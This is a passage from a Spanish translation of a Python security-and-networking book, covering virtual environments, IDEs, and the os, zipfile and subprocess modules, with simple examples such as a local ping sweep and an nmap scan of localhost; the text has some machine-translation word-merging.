operativo y la distribución que esté utilizando. Por
ejemplo, usandoapt-cache show <package>
Instálelo pipen su computadora y, como superusuario,
instale el paquete de Python que nos interesa. Esta
solución puede causar muchos problemas, ya que
podemos romper las dependencias entre las versiones de
nuestros paquetes de Python instalados en el sistema y
algunos paquetes podrían dejar de funcionar.
Usar entornos virtuales: Es un mecanismo que permite
administrar programas y paquetes de Python sin permisos
de administrador. Es decir, cualquier usuario sin
privilegios puede tener uno o más "espacios aislados"
donde instalar diferentes versiones de programas y
paquetes de Python. Para crear los entornos virtuales,
podemos usar el virtualenvprograma o el venvmódulo.
Generando el archivo requirements.txt
También tenemos elCapacidad para crear
el requirements.txtarchivo a partir del código fuente del
proyecto. Para esta tarea, podemos usar el pipreqsmódulo,
cuyo código se puede descargar del repositorio de GitHub
en https://github.com/bndr/pipreqs .
De esta manera, el módulo se puede instalar ya sea con el pip
install pipreqscomando o a través del repositorio de código de
GitHub usando el python setup.py installcomando.
Para obtener más información sobre el módulo, puede
consultar la página oficial de
PyPI https://pypi.org/project/pipreqs/ .
Para generar el requirements.txtarchivo, debesPodría ejecutar
el siguiente comando:
$ pipreqs <path_project>
Trabajar con entornos virtuales
Al trabajar con Python, es muy importanteSe recomienda usar
entornos virtuales. Un entorno virtual proporciona un entorno
independiente para instalar módulos de Python y una copia
aislada del archivo ejecutable de Python y sus archivos
asociados.
Puede tener tantos entornos virtuales como necesite, lo que
significa que puede tener múltiples configuraciones de módulos
configuradas y puede cambiar fácilmente entre ellas.
Configuración de virtualenv
Cuando instalas un módulo de Python en tu computadora local
sin tener que usar un entorno virtual, lo instalasEn el sistema
operativo globalmente. Normalmente, esta instalación requiere
un usuario root como administrador, y el módulo de Python se
configura para cada usuario y proyecto.
El mejor enfoque en este punto es crear un entorno virtual de
Python si necesita trabajar en muchos proyectos de Python o si
está trabajando con varios proyectos que comparten algunos
módulos.
virtualenvEs un módulo de Python que permite crear entornos
virtuales aislados. Básicamente, se debe crear una carpeta que
contenga todos los archivos ejecutables y módulos necesarios
para un proyecto. Se puede instalar virtualenvde la siguiente
manera:
1. Escriba el siguiente comando:
2. $ sudo pip install virtualenv
3. Para crear un nuevo entorno virtual, cree una nueva
carpeta e ingrese a la carpeta desde la línea de comando:
4. $ cd your_new_folder
5. $ virtualenv name-of-virtual-environment
6. $ source bin/activate
7. Una vez activo tendrás un entorno limpio de módulos y
librerías, y tendrás que descargar las dependencias del
proyecto para que se copien en este directorio usando el
siguiente comando:
8. (venv) > pip install -r requirements.txt
Al ejecutar este comando se iniciará una carpeta con el nombre
indicado en su directorio de trabajo actual con todos los
archivos ejecutables de Python y el pipmódulo, lo que le
permite instalar diferentes paquetes en su entorno virtual.
NOTA IMPORTANTE
Si trabaja con Python 3.3 o superior, virtualenvestá
incluido stdlib. Puede obtener una actualización de
instalación virtualenven la documentación de
Python: https://docs.python.org/3/library/venv.html .
4. virtualenves como unUn entorno virtual donde se
instalarán todas las dependencias del proyecto mientras
trabajas, y todos los módulos y dependencias se
mantienen separados. Si los usuarios tienen la misma
versión de Python instalada en su equipo, el mismo código
funcionará en el entorno virtual sin necesidad de realizar
cambios.
Ahora que ya sabe cómo instalar su propio entorno virtual,
pasemos a revisar los entornos de desarrollo para scripts de
Python, incluidos Python IDLE y PyCharm.
Entornos de desarrollo para scripts de Python
En esta sección, vamos a:Revisar PyCharm y Python IDLE como
entornos de desarrollo para scripts en Python.
Configuración de un entorno de desarrollo
Con el fin de desarrollar rápidamente ydepurar aplicaciones
Python, esEs necesario utilizar un entorno de desarrollo
integrado ( IDE ). Si desea probar diferentes opciones, le
recomendamos consultar la lista que se encuentra en laSitio
oficial de Python, donde podrás ver las herramientas según tus
sistemas operativos y necesidades:
https://wiki.python.org/moin/
IntegratedDevelopmentEnvironments
De todos losentornos, elLos dos siguientes son los que
veremos:
Python
IDLE : https://docs.python.org/3/library/idle.html
PyCharm : http://www.jetbrains.com/pycharm
Depuración con Python IDLE
Python IDLE es el IDE predeterminado queSe instala cuando
instala Python en su sistema operativo.Python IDLE le permite
depurar su script y ver errores y excepciones en la consola de
shell de Python:
Figura 1.1: Ejecución de un script en el shell de Python
En lo anteriorcaptura de pantalla, podemos ver la salida en el
shell de Python y la excepción está relacionada con Archivo
no encontrado .
PyCharm
PyCharm ( https://www.jetbrains.com/pycharm ) es
unHerramienta multiplataforma que podemos encontrar para
muchos sistemas operativos, como Windows, Linux y macOS X.
Existen dos versiones de PyCharm, la comunitariay técnico, con
variaciones en la funcionalidad relacionada con la integración
de frameworks web y la compatibilidad con bases de datos. Las
principales ventajas de este entorno de desarrollo son las
siguientes:
Autocompletar, resaltador de sintaxis, herramienta de
análisis y refactorización
Integración con marcos web, como Django y Flask
Un depurador avanzado
Conexión consistemas de control de versiones, como Git,
CVS y SVN
En la siguiente captura de pantalla, podemos ver cómo
configurar virtualenven PyCharm:
Figura 1.2: Configuración de virtualenv en PyCharm
En la captura de pantalla anterior, estamos configurando la
configuración relacionada con el establecimiento de un nuevo
entorno para elproyecto utilizando Virtualenv .
Depuración con PyCharm
En este ejemplo, nosotrosestán depurando unScript de Python
que aplica herencia simple. Un tema interesante es la
posibilidad de añadir un punto de interrupción a nuestro script.
En la siguiente captura de pantalla, establecemos un punto de
interrupción en el __init__método de la clase ChildClass:
Figura 1.3: Establecer un punto de interrupción en PyCharm
Con el punto de interrupción de vista opción, podemosver
el punto de interrupción establecido en el script:
Figura 1.4: Visualización de puntos de interrupción en PyCharm
En la siguiente captura de pantalla, nosotrosPuede visualizar
los valores de los parámetros que contienen los valores que
estamosdepuración:
Figura 1.5: Variables de depuración en PyCharm
De esta forma podremos conocer el estado de cada una de las
variables en tiempo de ejecución, así como modificar sus
valores para cambiar la lógica de nuestro script.
Resumen
En este capítulo, aprendimos a instalar Python en los sistemas
operativos Windows y Linux. Revisamos las principales
estructuras de datos y colecciones, como listas, tuplas y
diccionarios. También revisamos las funciones, la gestión de
excepciones y la creación de clases y objetos, así como el uso
de atributos y métodos especiales. Posteriormente, analizamos
los entornos de desarrollo y una metodología para introducirse
en la programación con Python. Finalmente, revisamos los
principales entornos de desarrollo, PyCharm y Python IDLE,
para el desarrollo de scripts en Python.
En el próximo capítulo, exploraremos paquetes de sistemas de
programación para trabajar con sistemas operativos y sistemas
de archivos, subprocesos y concurrencia.
Preguntas
Para concluir, aquí tienes una lista de preguntas para que
pongas a prueba tus conocimientos sobre el material de este
capítulo. Encontrarás las respuestas en la sección de
Evaluaciones del Apéndice .
1. ¿Qué estructura de datos en Python nos permite asociar
valores con claves?
2. ¿Cuáles son los métodos que podemos utilizar para
agregar elementos a una lista?
3. ¿Cuál es el enfoque que podemos seguir en Python para
manejar archivos y gestionar excepciones de una manera
fácil y segura?
4. ¿Cuál es la clase padre de Python para los errores
relacionados con la entrada/salida?
5. ¿Cuáles son los módulos de Python que permiten crear
entornos virtuales?
Lectura adicional
En estos enlaces encontrarás más información sobre las
herramientas mencionadas y la documentación oficial de
Python de algunos de los módulos que hemos analizado:
Biblioteca de la versión Python
3.10 : https://docs.python.org/3.10/library
Documentación de
Virtualenv : https://virtualenv.pypa.io/en/latest/
Entornos de desarrollo integrados de
Python : https://wiki.python.org/moin/IntegratedDe
velopmentEnvironments
Únete a nuestra comunidad en Discord
Únase al espacio Discord de nuestra comunidad para discutir
con el autor y otros lectores:
https://packt.link/SecNet
2
Paquetes de programación del sistema
En este capítulo, continuaremos aprendiendo sobre las
diferentes maneras de interactuar con el sistema
operativo ( SO ) y el sistema de archivos. El conocimiento que
adquirirá en este capítulo sobre los diferentes paquetes de
programación le resultará muy útil para automatizar ciertas
tareas que pueden aumentar la eficiencia de sus scripts.
A lo largo de este capítulo, analizaremos los principales
módulos de Python para trabajar con el sistema operativo y el
sistema de archivos. Además, revisaremos cómo trabajar con el
módulo de subprocesos para la ejecución de comandos.
Finalmente, revisaremos la gestión de hilos y otros módulos
para multihilo y concurrencia. En este capítulo se abordarán los
siguientes temas:
Interactuar con el sistema operativo en Python
Trabajar con el sistema de archivos en Python
Ejecución de comandos con el módulo de subproceso
Trabajar con hilos en Python
Multihilo y concurrencia en Python
Requisitos técnicos
Necesitará conocimientos básicos sobre la ejecución de
comandos en sistemas operativos para aprovechar al máximo
este capítulo. Además, antes de comenzar, instale la
distribución de Python en su equipo local. Trabajaremos con la
versión 3.10 de Python, disponible
en https://www.python.org/downloads .
Algunos de los ejemplos de este capítulo requieren la
instalación de los siguientes programas:
Nmap port scanner: https://nmap.org/
Los ejemplos y el código fuente de este capítulo están
disponibles en el repositorio de GitHub
en https://github.com/PacktPublishing/Python-for-
Security-and-Networking .
Mira el siguiente video para ver el código en
acción: https://packt.link/Chapter02 .
Interactuar con el sistema operativo en Python
El módulo SO es uno de los mejores mecanismos para acceder
a los diferentesfunciones en nuestro sistema operativo. El uso
de este módulo dependerá del sistema operativo que se esté
utilizando. Por ejemplo, deberá usar comandos diferentes
según se esté ejecutandoen el sistema operativo Windows o
Linux porque los sistemas de archivos son diferentes.
Este módulo nos permite interactuar con el entorno operativo,
el sistema de archivos y los permisos. Puede encontrar el
siguiente código en el check_filename.pyarchivo de
la os_modulesubcarpeta:
import sys
import os
if len(sys.argv) == 2:
filename = sys.argv[1]
if not os.path.isfile(filename):
print('[-] ' + filename + ' does not exist.')
exit(0)
if not os.access(filename, os.R_OK):
print('[-] ' + filename + ' access denied.')
exit(0)
En el código anterior, verificamos si el nombre de un archivo de
texto pasado como argumento de línea de comando existe
como archivo y si el usuario actual tiene permisos de lectura
para ese archivo.
La ejecución del script anterior requiere pasar un parámetro de
nombre de archivo para comprobar su existencia. Para ello,
utilizamos la instrucción que comprueba si se pasan dos
argumentos. A continuación, se muestra un ejemplo de
ejecución con un archivo inexistente:
$ python check_filename.py file_not_exits.py
file_not_exits.py
[+] file_not_exits.py does not exist.
Además, también podemos usar el osmódulo para listar el
contenido del directorio de trabajo actual con
este os.getcwd()método. Puedes encontrar el siguiente código
en el show_content_directory.pyarchivo de
la os_modulesubcarpeta:
import os
pwd = os.getcwd()
list_directory = os.listdir(pwd)
for directory in list_directory:
print('[+] ',directory)
Estos son los pasos principales para el código anterior:
Llame al os.getcwd()método para recuperar la ruta del
directorio de trabajo actual y almacenar ese valor en
la pwdvariable.
Llame al os.listdir()método para obtener los nombres de
archivos y directorios en el directorio de trabajo actual.
Iterar sobre el directorio de lista para obtener los archivos
y directorios.
Los siguientes sonLos principales métodos para recuperar
información del osmódulo:
os.system()nos permite ejecutar un comando de shell.
os.listdir(path)devuelve una lista con el contenido del
directorio pasado como argumento.
os.walk(path)navega por todos los directorios en la ruta
de directorio proporcionada y devuelve tres valores: la
ruta de directorio, los nombres de los subdirectorios y una
lista de nombres de archivos en la ruta de directorio
actual.
Entendamos cómo funcionan los
métodos os.listdir(path)y os.walk(path). A continuaciónPor
ejemplo, comprobamos los archivosy directorios dentro de la
ruta actual. Puede encontrar el siguiente código en
el check_files_directory.pyarchivo de la os_modulesubcarpeta:
import os
for root, directories, files in os.walk(".",topdown=False):
# Iterate over the files in the current "root"
for file_entry in files:
# create the relative path to the file
print('[+] ',os.path.join(root,file_entry))
for name in directories:
print('[++] ',name)
Python incluye dos funciones que pueden devolver una lista de
archivos. La primera opción es usar el os.listdir()método . Este
método permite pasar una ruta específica como parámetro. Si
no se pasa la ruta de archivo, se obtendrán los nombres de los
archivos en el directorio actual.
El otroUna alternativa es usar el os.walk()método, que actúa
como una función generadora. Es decir, al ejecutarse, devuelve
un generatorobjeto que implementa el protocolo de iteración.
En cada iteración, este métododevuelve una tupla que contiene
tres elementos:
La ruta actual como nombre de directorio
Una lista de nombres de subdirectorios
Una lista de nombres de archivos que no son directorios
Por lo tanto, es típico invocar os.walkde modo que cada uno de
estos tres elementos se asigne a una variable separada en
el forbucle:
>>> import os
>>> for currentdir, dirnames, filenames in os.walk('.'):
... print(filenames)
El bucle anterior forcontinuará mientras se procesan los
subdirectorios del directorio actual. Por ejemplo, el código
anterior imprimirá todos los subdirectorios del directorio actual.
En el siguiente ejemplo, utilizamos el os.walk()método para
contar el número de archivos en el directorio actual. Puede
encontrar el siguiente código en
el count_files_directory.pyarchivo de la os_modulesubcarpeta:
import os
file_count = 0
for currentdir, dirnames, filenames in os.walk('.'):
file_count += len(filenames)
print("The number of files in current directory are:",file_count)
En el código anterior, inicializamos la file_countvariable y la
incrementamos cada vez que encontramos un nombre de
archivo dentro del directorio actual.
En el siguiente ejemplo, contamos cuántos archivos hay de
cada tipo. Para ello, podemos usar
el os.path.splitext(filename)método, que devuelve el nombre
del archivo y su extensión. Puedes contar los elementos usando
la Counterclase del collectionsmódulo.
Puede encontrar el siguiente código en
el count_files_extension_directory.pyarchivo en
la os_modulesubcarpeta:
import os
from collections import Counter
counts = Counter()
for currentdir, dirnames, filenames in os.walk('.'):
for filename in filenames:
first_part, extension = os.path.splitext(filename)
counts[extension] += 1
for extension, count in counts.items():
print(f"{extension:8}{count}")
El anteriorEl código pasa por cada unoDirectorio bajo el
directorio actual y obtiene la extensión de cada nombre de
archivo. Usamos esta extensión en el countsdiccionario para
almacenar el número de archivos para cada extensión.
Finalmente, puedes usar el items()método para imprimir claves
y valores de ese diccionario.
También podemos usar la osinterfaz para acceder a la
información del sistema y obtener las variables de entorno de
su sistema operativo. Puede encontrar el siguiente código en
el get_os_environment_variables.pyarchivo de
la os_modulesubcarpeta:
#!/usr/bin/python3
import os
print(os.getcwd())
print(os.getuid())
print(os.getenv("PATH"))
print(os.environ)
for environ in os.environ:
print(environ)
for key, value in os.environ.items():
print(key,value)
Al ejecutar el script anterior, podrás ver algunas de las
variables de entorno definidas en tu sistema operativo, por
ejemplo, aquellas relacionadas con tu instalación de Python:
$ python get_os_environment_variables.py
CONDA_EXE /home/linux/anaconda3/bin/conda
CONDA_PYTHON_EXE /home/linux/anaconda3/bin/python
CONDA_SHLVL 1
CONDA_PREFIX /home/linux/anaconda3
CONDA_DEFAULT_ENV base
CONDA_PROMPT_MODIFIER (base)
Trabajar con el sistema de archivos en Python
Al trabajar con archivos, es importante poder moverse a través
del sistema de archivos y determinarel tipo de archivo que
utiliza elos módulo.
También puede que desee recorrer el sistema de archivos o
determinar la ubicación de los archivos para manipularlos. En
esta sección, explicamos cómo trabajar con el sistema de
archivos, acceder a archivos y directorios, y cómo trabajar con
archivos ZIP.
Trabajar con archivos y directorios
Como hemos visto en la sección anterior, puede ser interesante
encontrar nuevas carpetas iterandoRecursivamente a través
del directorio principal. En este ejemplo, vemos cómo podemos
buscar recursivamente dentro de un directorio y obtener...los
nombres de todos los archivos dentro de ese directorio:
>>> import os
>>> file in os.walk("/directory"):
>>> print(file)
También podemos ejecutar otras tareas, como comprobar si
una cadena es un archivo o un directorio. Para ello, podemos
usar el os.path.isfile()método, que devuelve Truesi el parámetro
es un archivo o Falseun directorio:
>>> import os
>>> os.path.isfile("/directory")
False
>>> os.path.isfile("file.py")
True
Si necesita verificar si existe un archivo en el directorio de ruta
de trabajo actual, puede utilizar el os.path.exists()método ,
pasando como parámetro el archivo o directorio que desea
verificar:
>>> import os
>>> os.path.exists("file.py")
False
>>> os.path.exists("file_not_exists.py")
False
Si necesita crear una nueva carpeta de directorio, puede usar
este os.makedirs ('my_directory')método. En el siguiente
ejemplo, comprobamos la existencia de un directorio y, si no se
encuentra en el sistema de archivos, lo creamos:
>>> import os
>>> if not os.path.exists('my_directory'):
... try:
... os.makedirs('directory')
... except OSError as error:
... print(error)
Desde el punto de vista del desarrollador, es una buena
práctica comprobar primero si el directorioexiste o no con
el os.path.exists('my_directory')método. Si desea mayor
seguridad y detectar cualquier potencialexcepciones, puedes
envolver tu llamada os.makedirs('my_directory')en
un try...exceptbloque.
Otras funciones que ofrece el osmódulo para trabajar con el
sistema de archivos incluyen la obtención de información sobre
un archivo específico. Por ejemplo, podemos acceder a las
estadísticas de un archivo. Puede encontrar el siguiente código
en el file_stats.pyarchivo, en la os_modulesubcarpeta:
import os
import time
file = "file_stats.py"
st = os.stat(file)
print("file stats: ", file)
mode, ino, dev, nlink, uid, gid, size, atime, mtime, ctime = st
print("- created:", time.ctime(ctime))
print("- last accessed:", time.ctime(atime))
print("- last modified:", time.ctime(mtime))
print("- Size:", size, "bytes")
print("- owner:", uid, gid)
print("- mode:", oct(mode))
Al ejecutar el script anterior, puede ver información sobre el
archivo, como fechas de creación y modificación, tamaño,
propietario y modo:
$ python get_files_stats.py
file stats: file_stats.py
- created: Thu Oct 20 15:18:45 2022
- last accessed: Thu Oct 20 15:18:45 2022
- last modified: Thu Oct 20 15:18:45 2022
- Size: 378 bytes
- owner: 1000 1000
- mode: 0o100644
OtroUna funcionalidad interesante que podríamos implementar
espara comprobar las extensiones de los archivos.
Puede encontrar el siguiente código en
el get_files_extensions.pyarchivo en la os_modulesubcarpeta:
import os
extensions = ['.jpeg','.jpg','.txt','.py']
for extension in extensions:
print("Files with extension ",extension)
for path,folder,files in os.walk("."):
for file in files:
if file.endswith(extension):
print(os.path.join(path,file))
En la ejecución del script anterior, podremos ver aquellos
archivos que tienen .pyextensión .
$ python get_files_extensions.py.
Files with extension .py
./show_content_directory.py
./count_files_directory.py
./file_stats.py
./count_files_extension_directory.py
./check_files_directory.py
./get_os_environment_variables.py
./get_files_extensions.py
./check_filename.py
Ahora que ya sabes cómo trabajar con el osmódulo, pasemos a
aprender cómo podemos trabajar con el zipfilemódulo para
trabajar con archivos ZIP en Python.
Leyendo un archivo ZIP usando Python
PuedesdesearPara recuperarUn archivo ZIP y extraer su
contenido. En Python 3, se puede usar el zipfilemódulo para
leerlo en memoria. El siguiente ejemplo lista todos los nombres
de archivo de un archivo ZIP usando la biblioteca integrada de
Python zipfile.
Puede encontrar el siguiente código en
el read_zip_file.pyarchivo en la zipfilesubcarpeta:
#!/usr/bin/env python3
import zipfile
def list_files_in_zip(filename):
with zipfile.ZipFile(filename) as myzip:
for zipinfo in myzip.infolist():
yield zipinfo.filename
for filename in list_files_in_zip("files.zip"):
print(filename)
ElEl código anterior enumera todos los archivos dentro de un
archivo ZIPy el list_files_in_zip((filename)métododevuelve los
nombres de archivos utilizando la yieldinstrucción.
Para más informaciónPara obtener información sobre el módulo
zip, puede consultar la documentación oficial
en https://docs.python.org/3/library/zipfile.html .
La principal ventaja de utilizar estos métodos es que
proporcionan una forma sencilla de automatizar el proceso de
gestión de archivos dentro del sistema operativo.
Ahora que ya sabes cómo trabajar con archivos, pasemos a
aprender cómo podemos trabajar con el módulo de subproceso
en Python.
Ejecución de comandos con el módulo de subproceso
El módulo de subproceso nos permite invocar y comunicarnos
con procesos de Python, enviar datosa la entrada y
recibirInformación de salida. Este módulo es la forma preferida
de ejecutar comandos del sistema operativo o iniciar
programas y comunicarse con ellos.
Este módulo nos permite ejecutar y gestionar procesos
directamente desde Python. Esto implica trabajar con la
entrada estándar, la salida estándar y los códigos de retorno.
La forma más sencilla de ejecutar un comando o invocar un
proceso con el módulo subproceso es mediante el run()método,
que ejecuta un proceso con diferentes argumentos y devuelve
una instancia del proceso completado. Esta instancia tendrá
atributos de argumentos, código de retorno, salida estándar
(stdout) y error estándar (stderr):
run(*popenargs, input=None, capture_output=False,
timeout=None, check=False, **kwargs)
El método anterior obtiene el popenargsargumento, que
contiene una tupla con el comando y los argumentos a
ejecutar. Podemos usar este argumento stdout =
subprocess.PIPEpara obtener la salida estándar en stdout al
finalizar el proceso, y haremos lo mismo con stderr, es
decir, stderr = subprocess.PIPEpara obtener el error estándar.
Si el checkargumento es igual a Truey el código de salida no es
cero, CalledProcessErrorse genera una excepción de tipo . Si se
asigna un valor al tiempo de espera en segundos y el proceso
tarda más de lo indicado, TimeoutExpiredse generará una
excepción de tipo .
HayUn argumento opcional llamado inputque permite pasar
bytes o una cadena a la entrada estándar ( stdin ).
ComunicaciónPor defecto, se realiza en bytes; por lo tanto,
cualquier entrada debe estar en bytes,
y stdouttambién stderrlo estará. Si la comunicación se realiza
en modo texto como cadenas, stdin, stdouty stderrtambién
serán cadenas de texto. El siguiente ejemplo ejecuta el ls -
lacomando, que muestra los archivos encontrados en el
directorio actual.
>>> import subprocess
>>> process = subprocess.run(('ls','-la'),stdout =
subprocess.PIPE)
>>> print(process.stdout.decode("utf-8"))
Puedes manejar la excepción con el check = Trueargumento,
como en el siguiente ejemplo donde generamos una excepción
al buscar una carpeta que no existe.
>>> try:
>>> process = subprocess.run(('find','/folder_not_exists','.'),
stdout = subprocess.PIPE, check = True)
>>> print(process.stdout.decode("utf-8"))
>>> except subprocess.CalledProcessError as error:
>>> print('Error:', error)
A veces resulta útil lanzar una excepción si un programa en
ejecución devuelve un código de salida incorrecto. Podemos
usar el check=Trueargumento para lanzar una excepción si el
programa externo devuelve un código de salida distinto de
cero. Puede encontrar este código en
el subprocess_exception.pyarchivo de la subprocesssubcarpeta:
import subprocess
import sys
result = subprocess.run([sys.executable, "-c", "raise
ValueError('error')"], check=True)
En elSalida de ejecución, podemos vercómo se lanza la
excepción correspondiente:
Traceback (most recent call last):
File "<string>", line 1, in <module>
ValueError: error
Traceback (most recent call last):
File "subprocess_exception.py", line 4, in <module>
result = subprocess.run([sys.executable, "-c", "raise
ValueError('error')"], check=True)
File "/home/linux/anaconda3/lib/python3.8/subprocess.py",
line 516, in run
raise CalledProcessError(retcode, process.args,
subprocess.CalledProcessError: Command
'['/home/linux/anaconda3/bin/python', '-c', "raise
ValueError('error')"]' returned non-zero exit status 1.
Si ejecutamos el proceso usando subprocess.run(), nuestro
proceso padre se bloquea mientras el proceso hijo devuelve la
respuesta. Una vez iniciado el hilo, nuestro proceso principal se
bloquea y solo continúa cuando el hilo termina. El
método subprocess.run()incluye el timeoutargumento que
permite detener un programa externo si tarda demasiado en
ejecutarse. Puede encontrar este código en
el subprocess_timeout.pyarchivo de la subprocesssubcarpeta:
import subprocess
import sys
result = subprocess.run([sys.executable, "-c", "import time;
time.sleep(10)"], timeout=5)
Si ejecutamos el código anterior, obtendremos
una subprocess.TimeoutExpired excepción. En el código
anterior, el proceso que intentamos ejecutar usa
la time.sleep()función para esperar 10 segundos. Sin embargo,
pasamos el argumento timeout=5para cerrar el hilo después
de 5 segundos. Esto explica por qué la invocación
del subprocess.run()método genera
una subprocess.TimeoutExpiredexcepción.
Los programas a veces esperan que la entrada se pase a través
del argumento stdin. Este inputargumento permite pasar datos
a la entrada estándar del hilo. Puede encontrar este código en
el subprocess_input.pyarchivo de la subprocesssubcarpeta:
import subprocess
import sys
result = subprocess.run(
[sys.executable, "-c", "import sys; print(sys.stdin.read())"],
input=b"python"
En elcódigo anterior, el argumento de entradaPuede ser útil si
desea encadenar múltiples invocaciones pasando la salida de
un proceso como entrada de otro.
Otra forma de ejecutar un comando o invocar un proceso con el
módulo de subproceso es mediante el call()método. Por
ejemplo, el siguiente código ejecuta un comando que lista los
archivos del directorio actual. Puede encontrar este código en
el subprocess_call.pyarchivo de la subprocesssubcarpeta:
#!/usr/bin/python3
import os
from subprocess import call
print("Current path",os.getcwd())
print("PATH Environment variable:",os.getenv("PATH"))
print("List files using the subprocess module:")
call(["ls", "-la"])
En el código anterior, utilizamos el módulo subprocess para
enumerar los archivos en el directorio actual.
Ejecutar un proceso hijo con su subproceso es sencillo.
Podemos usar el Popenmétodo para iniciar un nuevo proceso
que ejecute un comando específico. En el siguiente ejemplo,
usamos el Popenmétodo para ejecutar un pingcomando. Puede
encontrar este código en
el subprocess_ping_command.pyarchivo de
la subprocesssubcarpeta:
import subprocess
import sys
print("Operating system:",sys.platform)
if sys.platform.startswith("linux"):
command_ping ='/bin/ping'
elif sys.platform == "darwin":
command_ping ='/sbin/ping'
elif os.name == "nt":
command_ping ='ping'
ping_parameter ='-c 1'
domain = "www.google.com"
p =
subprocess.Popen([command_ping,ping_parameter,domain],
shell=False, stderr=subprocess.PIPE)
out = p.stderr.read(1)
sys.stdout.write(str(out.decode('utf-8')))
sys.stdout.flush()
En elEn el código anterior, estamos usando el módulo de
subproceso para llamar al pingcomando y obtener la salida de
este comandoPara evaluar si un dominio específico responde
con [nombre del ECHO_REPLYdominio]. El siguiente es un
ejemplo de la ejecución del script anterior:
PING www.google.com (142.250.184.4) 56(84) bytes of data.
64 bytes from mad41s10-in-f4.1e100.net (142.250.184.4):
icmp_seq=1 ttl=118 time=9.57 ms
--- www.google.com ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 9.566/9.566/9.566/0.000 ms
La Popenfunción ofrece mayor flexibilidad en comparación con
la callfunción anterior, ya que ejecuta el comando como un
programa hijo en un nuevo proceso. El siguiente script es muy
similar al anterior. La diferencia radica en que usamos
un forbucle para iterar con algunas máquinas de la red.
Puede encontrar el siguiente código en
el subprocess_ping_network.pyarchivo en
la subprocesssubcarpeta:
#!/usr/bin/env python
from subprocess import Popen, PIPE
import sys
print("Operating system:",sys.platform)
if sys.platform.startswith("linux"):
command_ping ='/bin/ping'
elif sys.platform == "darwin":
command_ping ='/sbin/ping'
elif os.name == "nt":
command_ping ='ping'
for ip in range(1,4):
ipAddress = '192.168.18.'+str(ip)
print("Scanning %s " %(ipAddress))
subprocess = Popen([command_ping, '-c 1',ipAddress],
stdin=PIPE, stdout=PIPE, stderr=PIPE)
stdout, stderr= subprocess.communicate(input=None)
print(stdout)
if b"bytes from " in stdout:
print("The Ip Address %s has responded with a
ECHO_REPLY!" %(stdout.split()[1]))
La siguientees un ejemplo de laejecución del script anterior:
Scanning 192.168.18.1
b'PING 192.168.18.1 (192.168.18.1) 56(84) bytes of data.\n64
bytes from 192.168.18.1: icmp_seq=1 ttl=64 time=1.64 ms\n\
n--- 192.168.18.1 ping statistics ---\n1 packets transmitted, 1
received, 0% packet loss, time 0ms\nrtt min/avg/max/mdev =
1.637/1.637/1.637/0.000 ms\n'
The Ip Address b'192.168.18.1' has responded with a
ECHO_REPLY!
Scanning 192.168.18.2
b'PING 192.168.18.2 (192.168.18.2) 56(84) bytes of data.\
nFrom 192.168.18.21 icmp_seq=1 Destination Host
Unreachable\n\n--- 192.168.18.2
ping statistics ---\n1 packets transmitted, 0 received, +1 errors,
100% packet loss, time 0ms\n\n'
Scanning 192.168.18.3
b'PING 192.168.18.3 (192.168.18.3) 56(84) bytes of data.\
nFrom 192.168.18.21 icmp_seq=1 Destination Host
Unreachable\n\n--- 192.168.18.3 ping statistics ---\n1 packets
transmitted, 0 received, +1 errors, 100% packet loss, time
0ms\n\n'
La ejecución del script anterior enviará solicitudes ICMP a tres
direcciones IP dentro del 192.168.12rango de la red.
El siguiente script ejecuta el nmapcomando en
la localhostmáquina con la dirección IP 127.0.0.1. Puede
encontrar el siguiente código en el subprocess_nmap.pyarchivo
de la subprocesssubcarpeta:
from subprocess import Popen, PIPE
process = Popen(['nmap','127.0.0.1'], stdout=PIPE,
stderr=PIPE)
stdout, stderr = process.communicate()
print(stdout.decode())
Al ejecutar el script anterior, podemos ver el resultado
del nmapproceso. Este variará según el host que se esté
verificando.
$ python subprocess_nmap.py
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00014s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
631/tcp open ipp
6789/tcp open ibm-db2-admin
Nmap done: 1 IP address (1 host up) scanned in 0.08 seconds
La siguienteEl script comprobará si tenemosUn programa
específico instalado en nuestro sistema operativo. Puede
encontrar el siguiente código en
el subprocess_program_checker.pyarchivo de
la subprocesssubcarpeta:
import subprocess
program = input('Enter a process in your operating system:')
process = subprocess. run(['which', program],
capture_output=True, text=True)
if process.returncode == 0:
print(f'The process "{program}" is installed')
print(f'The location of the binary is: {process.stdout}')
else:
print(f'Sorry the {program} is not installed')
print(process.stderr)
Al ejecutar el script anterior, si el programa está instalado en el
sistema operativo, se muestra la ruta donde está instalado. Si
no lo encuentra, devuelve un error. Si el sistema operativo
utilizado durante la ejecución es Linux, también se mostrará
información sobre la ruta que se intentó usar para buscar el
comando.
$ python subprocess_program_checker.py
Enter a process in your operating system:python
The process "python" is installed
The location of the binary is:
/home/linux/anaconda3/bin/python
$ python subprocess_program_checker.py
Enter a process in your operating system:go
Sorry the go is not installed
which: no go in
(/home/linux/anaconda3/bin:/home/linux/anaconda3/condabin:/
home/linux/.poetry/bin:/home/linux/.local/bin:/usr/local/bin:/
usr/bin:/var/lib/snapd/snap/bin:/usr/local/sbin:/usr/lib/jvm/
default/bin:/opt/nessus/bin:/opt/nessus/sbin:/usr/bin/site_perl:/
usr/bin/vendor_perl:/usr/bin/core_perl)
Puede obtener más información sobre el constructor Popen y
los métodos que proporcionala clase Popen en la
documentación oficial
en https://docs.python.org/3/library/subprocess.html#po
pen-constructor .
La diferencia entre
usar subprocess.run()y subprocess.Popen()es que el núcleo
deEl módulo de subproceso es la subprocess.Popen()función.
El subprocess.run()método se añadió en Python 3.5 y esUn
contenedor para subprocesos. Popen se creó para integrar y
unificar su funcionamiento. Básicamente, permite ejecutar un
comando en un hilo y esperar a que finalice.
El run()método bloquea el proceso principal hasta que finalice
el comando ejecutado en el proceso hijo, mientras que
con subprocess. Popenpuede continuar ejecutando tareas del
proceso padre en paralelo,
llamando subprocess.communicatepara pasar o recibir datos
de los hilos cuando lo desee.
Configuración de un entorno virtual con subproceso
Una de las cosas que se pueden hacer con Python es la
automatización de procesos. Por ejemplo, podríamos
desarrollarun script que crea un virtualEntorno e intenta
encontrar un archivo llamado requirements.txten el directorio
actual para instalar todas las dependencias. Puede encontrar el
siguiente código en el subprocess_setup_venv.pyarchivo de
la subprocesssubcarpeta:
import subprocess
from pathlib import Path
VENV_NAME = '.venv'
REQUIREMENTS = 'requirements.txt'
process = subprocess.run(['which', 'python3'],
capture_output=True, text=True)
if process.returncode != 0:
raise OSError('Sorry python3 is not installed')
